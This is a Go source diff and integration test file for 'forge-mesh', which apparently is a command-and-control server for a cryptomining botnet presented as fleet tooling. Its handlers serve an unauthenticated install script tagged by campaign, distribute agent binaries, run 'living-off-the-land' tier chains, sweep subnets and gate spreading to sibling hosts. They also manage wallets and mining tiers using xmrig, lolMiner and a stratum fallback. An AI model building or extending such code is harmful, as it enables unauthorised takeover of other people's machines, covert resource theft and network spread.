|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"ok": true,
|
||||
"host_id": host.ID,
|
||||
"host": fleet.ToFleetCard(host),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *FleetHandler) Command(w http.ResponseWriter, r *http.Request) {
|
||||
hostID := r.PathValue("id")
|
||||
if hostID == "" {
|
||||
http.Error(w, "host id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Action string `json:"action"`
|
||||
Args map[string]any `json:"args"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
action := strings.ToLower(req.Action)
|
||||
if err := fleet.CheckAction(h.OperatorClearance, action); err != nil {
|
||||
auth.JSON(w, http.StatusForbidden, map[string]any{
|
||||
"error": err.Error(),
|
||||
"required_clearance": fleet.RequiredClearanceOrZero(action),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
cmd, err := h.Hub.DispatchCommand(hostID, action, req.Args)
|
||||
if err != nil {
|
||||
http.Error(w, "dispatch failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
if h.Alerts != nil && h.Alerts.Enabled() {
|
||||
h.Alerts.Send(alerts.FleetEvent(action, hostID, fmt.Sprintf("cmd: `%s`", cmd.ID)))
|
||||
}
|
||||
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"ok": true,
|
||||
"command": cmd,
|
||||
})
|
||||
}
|
||||
84
internal/api/handlers/forge.go
Normal file
84
internal/api/handlers/forge.go
Normal file
@@ -0,0 +1,84 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/forge"
|
||||
)
|
||||
|
||||
// ForgeHandler manages build artifacts.
|
||||
type ForgeHandler struct {
|
||||
DB *sql.DB
|
||||
Pipeline *forge.Pipeline
|
||||
Version string
|
||||
}
|
||||
|
||||
func (h *ForgeHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := h.DB.Query(`
|
||||
SELECT id, os, arch, version, checksum, signature, public, created_at
|
||||
FROM builds ORDER BY created_at DESC LIMIT 50
|
||||
`)
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type buildRow struct {
|
||||
ID string `json:"id"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Version string `json:"version"`
|
||||
Checksum string `json:"checksum"`
|
||||
Signature string `json:"signature,omitempty"`
|
||||
Public bool `json:"public"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
}
|
||||
|
||||
var builds []buildRow
|
||||
for rows.Next() {
|
||||
var b buildRow
|
||||
var sig sql.NullString
|
||||
var pub int
|
||||
if err := rows.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &sig, &pub, &b.CreatedAt); err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
b.Public = pub == 1
|
||||
if sig.Valid {
|
||||
b.Signature = sig.String
|
||||
}
|
||||
builds = append(builds, b)
|
||||
}
|
||||
if builds == nil {
|
||||
builds = []buildRow{}
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{"builds": builds})
|
||||
}
|
||||
|
||||
func (h *ForgeHandler) TriggerBuild(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
Public bool `json:"public"`
|
||||
}
|
||||
_ = json.NewDecoder(r.Body).Decode(&req)
|
||||
if !req.Public {
|
||||
req.Public = true
|
||||
}
|
||||
|
||||
builds, err := h.Pipeline.BuildAll(req.Public)
|
||||
if err != nil {
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"ok": false,
|
||||
"message": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"ok": true,
|
||||
"builds": builds,
|
||||
})
|
||||
}
|
||||
34
internal/api/handlers/health.go
Normal file
34
internal/api/handlers/health.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
type HealthResponse struct {
|
||||
Status string `json:"status"`
|
||||
Service string `json:"service"`
|
||||
Version string `json:"version"`
|
||||
Timestamp string `json:"timestamp"`
|
||||
}
|
||||
|
||||
// Health returns a basic liveness handler for GET /api/v1/health.
|
||||
func Health(version string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
|
||||
resp := HealthResponse{
|
||||
Status: "ok",
|
||||
Service: "forge-mesh-server",
|
||||
Version: version,
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_ = json.NewEncoder(w).Encode(resp)
|
||||
}
|
||||
}
|
||||
29
internal/api/handlers/install_tmpl_test.go
Normal file
29
internal/api/handlers/install_tmpl_test.go
Normal file
@@ -0,0 +1,29 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"text/template"
|
||||
)
|
||||
|
||||
func TestInstallTemplateExecute(t *testing.T) {
|
||||
root, _ := filepath.Abs(filepath.Join("..", "..", ".."))
|
||||
tmplPath := filepath.Join(root, "scripts", "install.sh.tpl")
|
||||
b, err := os.ReadFile(tmplPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
tmpl, err := template.New("install.sh").Parse(string(b))
|
||||
if err != nil {
|
||||
t.Fatalf("parse: %v", err)
|
||||
}
|
||||
data := installData{
|
||||
DeckURL: "http://localhost:8989", PublicKey: "abc", FleetSecret: "sec",
|
||||
}
|
||||
var buf bytes.Buffer
|
||||
if err := tmpl.Execute(&buf, data); err != nil {
|
||||
t.Fatalf("execute: %v", err)
|
||||
}
|
||||
}
|
||||
253
internal/api/handlers/intelligence.go
Normal file
253
internal/api/handlers/intelligence.go
Normal file
@@ -0,0 +1,253 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/court"
|
||||
"forge-mesh/internal/erasure"
|
||||
"forge-mesh/internal/fleet"
|
||||
)
|
||||
|
||||
// IntelligenceDeps bundles triple-onion fleet intelligence handlers.
|
||||
type IntelligenceDeps struct {
|
||||
Store *fleet.Store
|
||||
Subnet *fleet.SubnetMapper
|
||||
Earn *fleet.EarnGate
|
||||
}
|
||||
|
||||
// RunLOTL handles POST /api/v1/fleet/{id}/lotl/run — execute tier chain with recon.
|
||||
func RunLOTL(deps IntelligenceDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
hostID := r.PathValue("id")
|
||||
if hostID == "" {
|
||||
http.Error(w, "host id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
strategy := fleet.AdaptiveStrategy{Store: deps.Store}
|
||||
order, err := strategy.OrderForHost(r.Context(), hostID)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
results, err := fleet.RunTierChain(r.Context(), deps.Store, hostID, order)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
auth.JSON(w, http.StatusOK, map[string]interface{}{
|
||||
"host_id": hostID,
|
||||
"order": order,
|
||||
"results": results,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// ListLOTL handles GET /api/v1/fleet/{id}/lotl.
|
||||
func ListLOTL(deps IntelligenceDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
hostID := r.PathValue("id")
|
||||
attempts, err := deps.Store.ListLOTL(r.Context(), hostID, 100)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]interface{}{
|
||||
"host_id": hostID,
|
||||
"attempts": attempts,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// SpreadGate handles GET /api/v1/fleet/{id}/spread-gate (earn-before-burn).
|
||||
func SpreadGate(deps IntelligenceDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
hostID := r.PathValue("id")
|
||||
dec, err := deps.Earn.CanSpreadToSiblings(r.Context(), hostID)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, dec)
|
||||
}
|
||||
}
|
||||
|
||||
// SubnetList handles GET /api/v1/fleet/subnets.
|
||||
func SubnetList(deps IntelligenceDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
cidrs, err := deps.Subnet.ListCIDRs(r.Context())
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]interface{}{"cidrs": cidrs})
|
||||
}
|
||||
}
|
||||
|
||||
// SubnetAdd handles POST /api/v1/fleet/subnets.
|
||||
func SubnetAdd(deps IntelligenceDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
CIDR string `json:"cidr"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.CIDR == "" {
|
||||
http.Error(w, "cidr required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
c, err := deps.Subnet.AddCIDR(r.Context(), req.CIDR)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusCreated, c)
|
||||
}
|
||||
}
|
||||
|
||||
// SubnetSweep handles POST /api/v1/fleet/subnets/sweep.
|
||||
func SubnetSweep(deps IntelligenceDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
results, err := deps.Subnet.SweepAll(r.Context())
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]interface{}{"results": results})
|
||||
}
|
||||
}
|
||||
|
||||
// CourtDeps bundles court handler dependencies.
|
||||
type CourtDeps struct {
|
||||
Court *court.Court
|
||||
Seer *court.SeerHub
|
||||
}
|
||||
|
||||
// CourtOpen handles POST /api/v1/court/sessions.
|
||||
func CourtOpen(deps CourtDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
HostID string `json:"host_id"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.HostID == "" {
|
||||
http.Error(w, "host_id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
s, err := deps.Court.OpenSession(r.Context(), req.HostID)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusCreated, s)
|
||||
}
|
||||
}
|
||||
|
||||
// CourtDeliberate handles POST /api/v1/court/sessions/{id}/deliberate.
|
||||
func CourtDeliberate(deps CourtDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
s, err := deps.Court.Deliberate(r.Context(), id)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, s)
|
||||
}
|
||||
}
|
||||
|
||||
// CourtVerdict handles POST /api/v1/court/sessions/{id}/verdict (L4).
|
||||
func CourtVerdict(deps CourtDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
var req struct {
|
||||
Verdict string `json:"verdict"`
|
||||
Clearance int `json:"clearance"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.Verdict == "" {
|
||||
http.Error(w, "verdict required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Clearance == 0 {
|
||||
req.Clearance = 4
|
||||
}
|
||||
if err := deps.Court.DispatchVerdict(r.Context(), id, req.Verdict, req.Clearance); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]string{"ok": "true", "verdict": req.Verdict})
|
||||
}
|
||||
}
|
||||
|
||||
// Timeline handles GET /api/v1/fleet/{id}/timeline (LOTL + court).
|
||||
func Timeline(deps CourtDeps) http.HandlerFunc {
|
||||
return court.TimelineHandler(deps.Court)
|
||||
}
|
||||
|
||||
// ErasureDeps bundles public erasure routes.
|
||||
type ErasureDeps struct {
|
||||
Service *erasure.Service
|
||||
}
|
||||
|
||||
// ErasureEncode handles POST /api/v1/public/erasure/encode (dev/admin via basic elsewhere).
|
||||
func ErasureEncode(deps ErasureDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
name := r.URL.Query().Get("name")
|
||||
if name == "" {
|
||||
name = "bundle"
|
||||
}
|
||||
data, err := io.ReadAll(io.LimitReader(r.Body, 16<<20))
|
||||
if err != nil {
|
||||
http.Error(w, "read error", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
b, err := deps.Service.Encode(r.Context(), name, data)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusCreated, b)
|
||||
}
|
||||
}
|
||||
|
||||
// ErasureShard handles GET /api/v1/public/erasure/{bundle_id}/shard/{index}.
|
||||
func ErasureShard(deps ErasureDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
bundleID := r.PathValue("bundle_id")
|
||||
idx, err := strconv.Atoi(r.PathValue("index"))
|
||||
if err != nil {
|
||||
http.Error(w, "invalid index", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
sh, err := deps.Service.GetShard(r.Context(), bundleID, idx)
|
||||
if err != nil {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("X-Shard-Index", strconv.Itoa(sh.ShardIndex))
|
||||
_, _ = w.Write(sh.Data)
|
||||
}
|
||||
}
|
||||
|
||||
// ErasureBundleMeta handles GET /api/v1/public/erasure/{bundle_id}.
|
||||
func ErasureBundleMeta(deps ErasureDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
bundleID := r.PathValue("bundle_id")
|
||||
b, err := deps.Service.GetBundle(r.Context(), bundleID)
|
||||
if err != nil {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
indices, _ := deps.Service.ListShards(r.Context(), bundleID)
|
||||
auth.JSON(w, http.StatusOK, map[string]interface{}{
|
||||
"bundle": b,
|
||||
"shards": indices,
|
||||
"public": true,
|
||||
"scheme": "RS_4_2",
|
||||
})
|
||||
}
|
||||
}
|
||||
138
internal/api/handlers/public.go
Normal file
138
internal/api/handlers/public.go
Normal file
@@ -0,0 +1,138 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"text/template"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"forge-mesh/internal/forge"
|
||||
)
|
||||
|
||||
// PublicHandlers serves unauthenticated summon routes.
|
||||
type PublicHandlers struct {
|
||||
DB *sql.DB
|
||||
ArtifactsDir string
|
||||
PublicKeyHex string
|
||||
FleetSecret string
|
||||
Version string
|
||||
InstallTmpl *template.Template
|
||||
DeckURL func(r *http.Request) string
|
||||
}
|
||||
|
||||
type installData struct {
|
||||
DeckURL string
|
||||
PublicKey string
|
||||
FleetSecret string
|
||||
Pin string
|
||||
Campaign string
|
||||
}
|
||||
|
||||
func NewPublicHandlers(db *sql.DB, artifactsDir, publicKeyHex string, installTmplPath string) (*PublicHandlers, error) {
|
||||
tmplBytes, err := os.ReadFile(installTmplPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read install template: %w", err)
|
||||
}
|
||||
|
||||
tmpl, err := template.New("install.sh").Parse(string(tmplBytes))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parse install template: %w", err)
|
||||
}
|
||||
|
||||
return &PublicHandlers{
|
||||
DB: db,
|
||||
ArtifactsDir: artifactsDir,
|
||||
PublicKeyHex: publicKeyHex,
|
||||
InstallTmpl: tmpl,
|
||||
DeckURL: func(r *http.Request) string {
|
||||
scheme := "http"
|
||||
if r.TLS != nil || r.Header.Get("X-Forwarded-Proto") == "https" {
|
||||
scheme = "https"
|
||||
}
|
||||
return fmt.Sprintf("%s://%s", scheme, r.Host)
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (h *PublicHandlers) InstallSh(w http.ResponseWriter, r *http.Request) {
|
||||
data := installData{
|
||||
DeckURL: h.DeckURL(r),
|
||||
PublicKey: h.PublicKeyHex,
|
||||
FleetSecret: h.FleetSecret,
|
||||
Pin: r.URL.Query().Get("pin"),
|
||||
Campaign: r.URL.Query().Get("c"),
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err := h.InstallTmpl.Execute(&buf, data); err != nil {
|
||||
http.Error(w, "template error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "text/x-shellscript; charset=utf-8")
|
||||
w.Write(buf.Bytes())
|
||||
}
|
||||
|
||||
func (h *PublicHandlers) GetRedirect(w http.ResponseWriter, r *http.Request) {
|
||||
target := "/install.sh"
|
||||
if q := r.URL.RawQuery; q != "" {
|
||||
target += "?" + q
|
||||
}
|
||||
http.Redirect(w, r, target, http.StatusFound)
|
||||
}
|
||||
|
||||
func (h *PublicHandlers) LatestBuild(w http.ResponseWriter, r *http.Request) {
|
||||
osName := r.URL.Query().Get("os")
|
||||
arch := r.URL.Query().Get("arch")
|
||||
if osName == "" {
|
||||
osName = "linux"
|
||||
}
|
||||
if arch == "" {
|
||||
arch = "amd64"
|
||||
}
|
||||
|
||||
build, err := forge.LatestPublic(h.DB, osName, arch)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
http.Error(w, "no public build", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
fmt.Fprintf(w, `{"id":%q,"os":%q,"arch":%q,"version":%q,"checksum":%q,"signature":%q,"download_url":"/api/v1/public/download/%s"}`,
|
||||
build.ID, build.OS, build.Arch, build.Version, build.Checksum, build.Signature, build.ID)
|
||||
}
|
||||
|
||||
func (h *PublicHandlers) Download(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if strings.Contains(id, "..") {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
build, err := forge.GetBuild(h.DB, id)
|
||||
if err != nil {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if !build.Public {
|
||||
http.Error(w, "forbidden", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
if build.Path == "" {
|
||||
http.Error(w, "artifact missing", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="forge-mesh-agent-%s-%s"`, build.OS, build.Arch))
|
||||
if err := forge.CopyArtifact(build.Path, w); err != nil {
|
||||
http.Error(w, "read error", http.StatusInternalServerError)
|
||||
}
|
||||
}
|
||||
174
internal/api/handlers/seer.go
Normal file
174
internal/api/handlers/seer.go
Normal file
@@ -0,0 +1,174 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/config"
|
||||
"forge-mesh/internal/fleet"
|
||||
)
|
||||
|
||||
// SeerHandler streams court/LOTL events via SSE.
|
||||
type SeerHandler struct {
|
||||
Store *fleet.Store
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
func (h *SeerHandler) Stream(w http.ResponseWriter, r *http.Request) {
|
||||
if !h.authenticated(r) {
|
||||
http.Error(w, "unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
|
||||
flusher, ok := w.(http.Flusher)
|
||||
if !ok {
|
||||
http.Error(w, "streaming unsupported", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "text/event-stream")
|
||||
w.Header().Set("Cache-Control", "no-cache")
|
||||
w.Header().Set("Connection", "keep-alive")
|
||||
|
||||
events, _ := h.Store.ListSeerEvents(20)
|
||||
for _, ev := range events {
|
||||
payload, _ := json.Marshal(ev)
|
||||
fmt.Fprintf(w, "data: %s\n\n", payload)
|
||||
}
|
||||
flusher.Flush()
|
||||
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-r.Context().Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
events, err := h.Store.ListSeerEvents(5)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, ev := range events {
|
||||
payload, _ := json.Marshal(ev)
|
||||
fmt.Fprintf(w, "data: %s\n\n", payload)
|
||||
flusher.Flush()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *SeerHandler) authenticated(r *http.Request) bool {
|
||||
if user, pass, ok := r.BasicAuth(); ok {
|
||||
return user == h.Username && pass == h.Password
|
||||
}
|
||||
if authHeader := r.URL.Query().Get("authorization"); authHeader != "" {
|
||||
raw := strings.TrimPrefix(authHeader, "Basic ")
|
||||
decoded, err := base64.StdEncoding.DecodeString(raw)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
parts := strings.SplitN(string(decoded), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
return false
|
||||
}
|
||||
return parts[0] == h.Username && parts[1] == h.Password
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// WSTicketHandler issues one-time WebSocket tickets.
|
||||
type WSTicketHandler struct {
|
||||
Tickets *auth.TicketStore
|
||||
}
|
||||
|
||||
func (h *WSTicketHandler) Issue(w http.ResponseWriter, r *http.Request) {
|
||||
ticket, err := h.Tickets.Issue()
|
||||
if err != nil || ticket == "" {
|
||||
http.Error(w, "ticket issue failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]string{"ticket": ticket})
|
||||
}
|
||||
|
||||
// OperatorHandler returns operator clearance info.
|
||||
type OperatorHandler struct {
|
||||
Clearance int
|
||||
}
|
||||
|
||||
func (h *OperatorHandler) Me(w http.ResponseWriter, r *http.Request) {
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"clearance_level": h.Clearance,
|
||||
"label": fleet.ClearanceLabel(h.Clearance),
|
||||
})
|
||||
}
|
||||
|
||||
// PolicyHandler serves wallet and mining profile endpoints.
|
||||
type PolicyHandler struct {
|
||||
Cfg *config.Config
|
||||
Store *fleet.Store
|
||||
}
|
||||
|
||||
func (h *PolicyHandler) GetWallet(w http.ResponseWriter, r *http.Request) {
|
||||
auth.JSON(w, http.StatusOK, h.Cfg.WalletPolicy)
|
||||
}
|
||||
|
||||
func (h *PolicyHandler) PutWallet(w http.ResponseWriter, r *http.Request) {
|
||||
var wp config.WalletPolicy
|
||||
if err := json.NewDecoder(r.Body).Decode(&wp); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if wp.DefaultWallet != "" {
|
||||
h.Cfg.WalletPolicy.DefaultWallet = wp.DefaultWallet
|
||||
}
|
||||
if wp.Currency != "" {
|
||||
h.Cfg.WalletPolicy.Currency = wp.Currency
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, h.Cfg.WalletPolicy)
|
||||
}
|
||||
|
||||
func (h *PolicyHandler) GetMiningProfile(w http.ResponseWriter, r *http.Request) {
|
||||
auth.JSON(w, http.StatusOK, defaultMiningProfile(h.Cfg))
|
||||
}
|
||||
|
||||
func (h *PolicyHandler) PutMiningProfile(w http.ResponseWriter, r *http.Request) {
|
||||
var profile miningProfileRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&profile); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if profile.WalletAddress != "" {
|
||||
h.Cfg.WalletPolicy.DefaultWallet = profile.WalletAddress
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, profile)
|
||||
}
|
||||
|
||||
type miningProfileRequest struct {
|
||||
WalletAddress string `json:"wallet_address"`
|
||||
Tiers []tierEntry `json:"tiers"`
|
||||
}
|
||||
|
||||
type tierEntry struct {
|
||||
Tier int `json:"tier"`
|
||||
Name string `json:"name"`
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
|
||||
func defaultMiningProfile(cfg *config.Config) miningProfileRequest {
|
||||
return miningProfileRequest{
|
||||
WalletAddress: cfg.WalletPolicy.DefaultWallet,
|
||||
Tiers: []tierEntry{
|
||||
{Tier: 1, Name: "OCI podman", Enabled: true},
|
||||
{Tier: 2, Name: "Bundled xmrig", Enabled: true},
|
||||
{Tier: 3, Name: "GPU lolMiner", Enabled: true},
|
||||
{Tier: 4, Name: "Stratum-direct fallback", Enabled: false},
|
||||
},
|
||||
}
|
||||
}
|
||||
718
internal/api/integration_test.go
Normal file
718
internal/api/integration_test.go
Normal file
@@ -0,0 +1,718 @@
|
||||
//go:build integration
|
||||
|
||||
package api_test
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/api/handlers"
|
||||
"forge-mesh/internal/erasure"
|
||||
"forge-mesh/internal/fleet"
|
||||
"forge-mesh/internal/testutil"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
type routeResult struct {
|
||||
name string
|
||||
pass bool
|
||||
detail string
|
||||
}
|
||||
|
||||
func TestIntegrationAllRoutes(t *testing.T) {
|
||||
ts := testutil.NewTestServer(t)
|
||||
defer ts.Close()
|
||||
|
||||
seedData(t, ts)
|
||||
|
||||
var results []routeResult
|
||||
record := func(name string, pass bool, detail string) {
|
||||
results = append(results, routeResult{name: name, pass: pass, detail: detail})
|
||||
if !pass {
|
||||
t.Errorf("%s: %s", name, detail)
|
||||
}
|
||||
}
|
||||
|
||||
check := func(name string, fn func() (bool, string)) {
|
||||
pass, detail := fn()
|
||||
record(name, pass, detail)
|
||||
}
|
||||
|
||||
// --- Public routes ---
|
||||
check("GET /api/v1/health", func() (bool, string) { return testHealth(t, ts) })
|
||||
check("GET /install.sh", func() (bool, string) { return testInstallSh(t, ts) })
|
||||
check("GET /get", func() (bool, string) { return testGetRedirect(t, ts) })
|
||||
check("GET /spread/", func() (bool, string) { return testSpread(t, ts) })
|
||||
check("GET /api/v1/public/builds", func() (bool, string) { return testPublicBuilds(t, ts) })
|
||||
check("GET /api/v1/public/builds/latest", func() (bool, string) { return testPublicBuildsLatest(t, ts) })
|
||||
check("GET /api/v1/public/download/{id}", func() (bool, string) { return testPublicDownload(t, ts) })
|
||||
check("GET /api/v1/public/erasure/{bundle_id}", func() (bool, string) { return testErasureBundle(t, ts) })
|
||||
check("GET /api/v1/public/erasure/{bundle_id}/shard/{index}", func() (bool, string) { return testErasureShard(t, ts) })
|
||||
check("GET /api/v1/public/policy-snapshot/{token}", func() (bool, string) { return testPolicySnapshot(t, ts) })
|
||||
|
||||
// --- Agent routes (Bearer) ---
|
||||
check("POST /api/v1/fleet/register", func() (bool, string) { return testFleetRegister(t, ts) })
|
||||
check("POST /api/v1/fleet/beacon", func() (bool, string) { return testFleetBeacon(t, ts) })
|
||||
|
||||
// --- Protected routes (Basic) ---
|
||||
check("GET /api/v1/fleet", func() (bool, string) { return testFleetList(t, ts) })
|
||||
check("GET /api/v1/fleet/hosts", func() (bool, string) { return testFleetHosts(t, ts) })
|
||||
check("POST /api/v1/fleet/{id}/mining-profile", func() (bool, string) { return testMiningProfile(t, ts) })
|
||||
check("POST /api/v1/fleet/{id}/action pause", func() (bool, string) { return testFleetAction(t, ts, "pause") })
|
||||
